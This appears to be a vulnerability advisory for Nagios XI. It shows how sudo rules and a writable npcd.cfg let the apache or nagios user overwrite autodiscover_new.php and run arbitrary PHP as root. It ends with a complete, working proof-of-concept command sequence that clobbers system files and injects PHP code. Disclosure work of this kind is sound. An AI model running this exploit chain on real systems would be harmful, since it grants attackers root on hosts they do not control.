A vulnerability exists in /usr/local/nagiosxi/scripts/components/autodiscover_new.php that allows a local user to modify the permissions of an arbitrary file, resulting in the file being owned by (and writable by) user 'nagios'. This can be exploited by low-privileged users who can execute autodiscover_new.php using 'sudo' (e.g. nagios and apache) - ultimately allowing for execution of arbitrary PHP code with root privileges.
According to the /etc/sudoers file, the 'apache' and 'nagios' users may run the autodiscover_new.php file using sudo with any arguments:
User_Alias NAGIOSXI=nagios
User_Alias NAGIOSXIWEB=apache
...
NAGIOSXI ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
...
NAGIOSXIWEB ALL = NOPASSWD:/usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php *
...
This means that the nagios and apache users can execute this file with root privileges. Furthermore, the nagios user can exploit this to modify the permissions of root-owned files to allow write access. Therefore the nagios user is able to overwrite the autodiscover_new.php file and modify its privileges to allow write access. This enables the nagios user to edit autodiscover_new.php and then run arbitrary PHP code as root.
Moreover, the npcd service runs as the nagios user, but it is writable by the apache user as well. The configuration file can be modified to launch arbitrary binaries with crafted parameters.
# ps aux | grep npcd
nagios 1029 0.0 0.0 371248 1004 ? S 14:14 0:00 /usr/local/nagios/bin/npcd -d -f /usr/local/nagios/etc/pnp/npcd.cfg
# ls -l /usr/local/nagios/etc/pnp/npcd.cfg
-rw-rw-r--. 1 apache nagios 3090 Sep 3 13:02 /usr/local/nagios/etc/pnp/npcd.cfg
The /etc/sudoers file also allows the apache user to manage the npcd service using /usr/local/nagiosxi/scripts/manage_services.sh with sudo.
User_Alias NAGIOSXI=nagios
User_Alias NAGIOSXIWEB=apache
...
NAGIOSXIWEB ALL = NOPASSWD:/usr/local/nagiosxi/scripts/manage_services.sh *
Ultimately, the apache user has permission to modify the launch configuration of npcd such that autodiscover_new.php is overwritten with PHP code. This can then be executed with elevated privileges using sudo. While this is a local privilege escalation, it could be exploited in combination with web-based vulnerability.
Proof of Concept (PoC)
Note: this PoC will clobber the contents of /usr/local/nagiosxi/scripts/components/autodiscover_new.php. As nagios or apache user (via web exploit), run the following commands:
# overwrite autodiscover_new.php. this will also modify its permissions to be writable by nagios
# will take a moment to complete
sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses=127.0.0.1/1 --output=/usr/local/nagiosxi/scripts/components/autodiscover_new.php
# stop npcd service
sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
# write to config file
# note the use of curl to copy the file's contents to the vulnerable autodiscover_new.php
echo -e "user = nagios\ngroup = nagios\nlog_type = file\nlog_file = /usr/local/nagios/var/npcd.log\nmax_logfile_size = 10485760\nlog_level = 0\nperfdata_spool_dir = /usr/local/nagiosxi/scripts/components/\nperfdata_file_run_cmd = /usr/bin/curl\nperfdata_file_run_cmd_args = file:///usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/autodiscover_new.php -o /usr/local/nagiosxi/scripts/components/autodiscover_new.php\nnpcd_max_threads = 5\nsleep_time = 15\nload_threshold = 10.0\npid_file=/usr/local/nagiosxi/var/subsys/npcd.pid\n\n# scrappy" > /usr/local/nagios/etc/pnp/npcd.cfg
# write new autodiscover_new.php file
# note that this is a different autodiscover_new.php than the script containing the vuln
# this file's contents are copied once npcd launches
echo -e "\x3c\x3fphp system('whoami'); \x3f\x3e" > /usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/autodiscover_new.php
# start service. this will write to the autodiscover_new.php
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd
# launch it
sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php test
Below is a screen shot showing this PoC running inside a PHP file (escalate.php). It simulates the PoC being executed in a web-based environment (e.g. as part of a chained exploit). A call to "whoami" was prepended to demonstrate that the code initially runs as 'apache'.
Notice the end of the output contains 'root'. This indicates that the autodiscover_new.php script executed with root privileges.